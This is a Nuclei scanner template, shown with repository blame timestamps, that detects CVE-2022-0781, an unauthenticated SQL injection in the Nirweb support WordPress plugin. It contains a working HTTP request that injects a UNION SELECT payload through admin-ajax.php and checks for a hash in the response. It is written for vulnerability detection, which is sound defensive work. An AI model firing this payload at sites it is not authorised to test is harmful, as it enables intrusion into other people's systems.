nuclei-templates/cves/2022/CVE-2022-0781.yaml

44 lines
1.3 KiB
YAML
Raw Normal View History

2022-10-06 15:23:01 +00:00
id: CVE-2022-0781
info:
name: Nirweb support < 2.8.2 - Unauthenticated SQLi
author: theamanrawat
severity: critical
description: |
The Nirweb support WordPress plugin before 2.8.2 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action (available to unauthenticated users), leading to an SQL injection.
reference:
- https://wpscan.com/vulnerability/1a8f9c7b-a422-4f45-a516-c3c14eb05161
- https://wordpress.org/plugins/nirweb-support/
2022-10-06 19:27:00 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0781
2022-10-06 15:23:01 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-10-06 15:23:01 +00:00
cve-id: CVE-2022-0781
cwe-id: CWE-89
2022-10-06 15:23:01 +00:00
metadata:
verified: "true"
2022-10-06 19:34:44 +00:00
tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,wpscan,nirweb-support,unauth
2022-10-06 19:27:00 +00:00
variables:
num: "999999999"
2022-10-06 15:23:01 +00:00
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
2022-10-06 19:27:00 +00:00
Host: {{Hostname}}
2022-10-06 15:23:01 +00:00
Content-Type: application/x-www-form-urlencoded
2022-10-06 19:27:00 +00:00
action=answerd_ticket&id_form=1 UNION ALL SELECT NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL-- -
2022-10-06 15:23:01 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-10-06 19:27:00 +00:00
- '{{md5(num)}}'
2022-10-06 15:23:01 +00:00
- type: status
status:
2022-10-06 19:27:00 +00:00
- 200